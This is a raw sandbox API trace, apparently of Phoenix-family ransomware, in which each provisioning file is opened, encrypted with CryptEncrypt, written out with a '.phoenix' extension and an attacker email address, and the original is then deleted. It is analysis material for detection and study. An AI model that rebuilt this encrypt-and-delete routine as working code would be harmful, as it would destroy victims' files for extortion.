	[0251.384] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\450__connections_cellular_kktcell (turkey)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.386] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.386] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.386] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\451__connections_cellular_turkcell (turkey)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.386] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0251.386] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.386] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c0, lpOverlapped=0x0) returned 1
	[0251.388] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0251.388] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.388] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0251.388] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.388] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.388] CryptDestroyKey (hKey=0x151780) returned 1
	[0251.388] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.389] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0251.389] CloseHandle (hObject=0x2f0) returned 1
	[0251.389] CloseHandle (hObject=0x2e8) returned 1
	[0251.389] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\451__connections_cellular_turkcell (turkey)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.390] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.391] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.391] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\452__connections_cellular_turkcell (turkey)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.391] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0251.391] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.391] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c8, lpOverlapped=0x0) returned 1
	[0251.392] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0251.393] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.393] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0251.393] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.393] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.393] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.393] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.394] CryptDestroyKey (hKey=0x151680) returned 1
	[0251.394] CloseHandle (hObject=0x2e8) returned 1
	[0251.394] CloseHandle (hObject=0x2f0) returned 1
	[0251.394] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\452__connections_cellular_turkcell (turkey)_i1$(__mvid)@wap.provxml")) returned 1
	[0251.494] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.494] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.494] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\453__connections_cellular_turkcell (turkey)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.494] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0251.494] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.494] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0251.496] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0251.496] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.497] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0251.497] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.497] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.497] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.497] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.497] CryptDestroyKey (hKey=0x151140) returned 1
	[0251.497] CloseHandle (hObject=0x2e8) returned 1
	[0251.497] CloseHandle (hObject=0x2c4) returned 1
	[0251.497] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\453__connections_cellular_turkcell (turkey)_i2$(__mvid)@wap.provxml")) returned 1
	[0251.504] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.504] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.504] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\459__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.505] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0251.505] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.505] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d4, lpOverlapped=0x0) returned 1
	[0251.602] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0251.602] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0251.602] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0251.602] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.602] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.602] CryptDestroyKey (hKey=0x151680) returned 1
	[0251.602] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.603] CryptDestroyKey (hKey=0x151140) returned 1
	[0251.603] CloseHandle (hObject=0x2c4) returned 1
	[0251.603] CloseHandle (hObject=0x2e8) returned 1
	[0251.603] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\459__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml")) returned 1
	[0251.604] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.604] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.604] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\460__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.604] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0251.604] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.605] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0251.648] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0251.648] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0251.649] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0251.649] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.649] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.649] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.649] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.650] CryptDestroyKey (hKey=0x151680) returned 1
	[0251.650] CloseHandle (hObject=0x2e8) returned 1
	[0251.650] CloseHandle (hObject=0x2c4) returned 1
	[0251.650] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\460__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml")) returned 1
	[0251.651] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.651] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\461__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.652] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0251.652] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.652] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cd, lpOverlapped=0x0) returned 1
	[0251.675] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0251.675] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.676] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0251.676] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.676] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.676] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.676] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.676] CryptDestroyKey (hKey=0x151500) returned 1
	[0251.676] CloseHandle (hObject=0x2c4) returned 1
	[0251.676] CloseHandle (hObject=0x2e8) returned 1
	[0251.676] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\461__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml")) returned 1
	[0251.678] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.678] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.678] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\464__connections_cellular_umc (ukraine)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.679] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0251.679] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.679] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x281, lpOverlapped=0x0) returned 1
	[0251.689] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0251.689] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0251.690] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0251.690] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.690] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0251.690] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.690] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0251.690] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0251.690] CloseHandle (hObject=0x2e8) returned 1
	[0251.690] CloseHandle (hObject=0x2c4) returned 1
	[0251.690] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\464__connections_cellular_umc (ukraine)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.692] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.692] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
